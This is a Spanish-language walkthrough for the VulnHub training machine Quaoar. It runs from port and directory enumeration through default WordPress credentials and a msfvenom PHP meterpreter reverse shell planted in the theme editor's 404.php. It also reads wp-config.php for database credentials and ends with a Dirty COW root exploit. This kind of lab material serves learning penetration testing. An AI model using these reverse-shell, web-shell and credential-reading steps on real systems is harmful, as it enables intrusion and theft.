Hoy vamos a resolver la máquina Quaoar de VulnHub: https://www.vulnhub.com/entry/hackfest2016-quaoar,180/
Es una máquina sencilla para iniciarse en el mundo del pentesting.

WriteUp

Enumeración


Como siempre, lo primero sera un escaneo de puertos con nmap:

nmap 192.168.1.38


gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.38 -t 150 -x php,txt,sh -l


Como veis hemos encontrado un wordpress así que usaremos wpscan para continuar enumerando:

wpscan -u http://192.168.1.38/wordpress/ --enumerate u



Lo primero que haremos es probar las credenciales típicas:
admin:admin

En este caso ha habido suerte, y ya podemos acceder al Admin Panel

Explotación

En este paso el objetivo será obtener shell:
Método 1)
Nos generaremos un shell de php, en este caso de meterpreter generada con mfsvenom:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.37 LPORT=4444 -f raw

En la sección Appearance/Editor del Admin Panel del WordPress editamos uno de los php, en este caso:
http://192.168.1.38/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentythirteen&scrollto=0&updated=true
Establecemos la escucha en msfconsole con el módulo exploit/multi/handler
Y por último accedemos en nuestro navegador al php modificado, en este caso:
http://192.168.1.38/wordpress/wp-content/themes/twentythirteen/404.php

Método 2)
Mediante el modulo de metasploit: exploit/unix/webapp/wp_admin_shell_upload
Obtenemos sesión de meterpreter fácilmente

Método 3)
Con ayuda de https://github.com/n00py/WPForce obtendremos shell facilmente

python yertle.py -u admin -p admin -t http://192.168.1.38/wordpress/

Post-Explotación

Método 1)
Revisaremos las credenciales del MYSQL alojadas en los ficheros de configuración del wordpress:

cat wp-config.php


Probamos si las credenciales obtenidas sirven para escalar a root. En este caso hay suerte:

Método 2)
Vemos que el sistema está desactualizado, con una simple búsqueda en Google encontramos:

https://www.exploit-db.com/exploits/40839/

gcc -m32 -pthread dirty.c -o dirty -lcrypt

¿Me ayudas a compatirlo?